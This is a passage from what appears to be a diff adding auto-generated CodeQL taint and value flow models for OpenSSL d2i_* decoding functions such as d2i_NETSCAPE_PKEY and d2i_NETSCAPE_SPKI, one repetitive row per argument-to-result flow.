unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NOTICEREF", "(NOTICEREF **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, 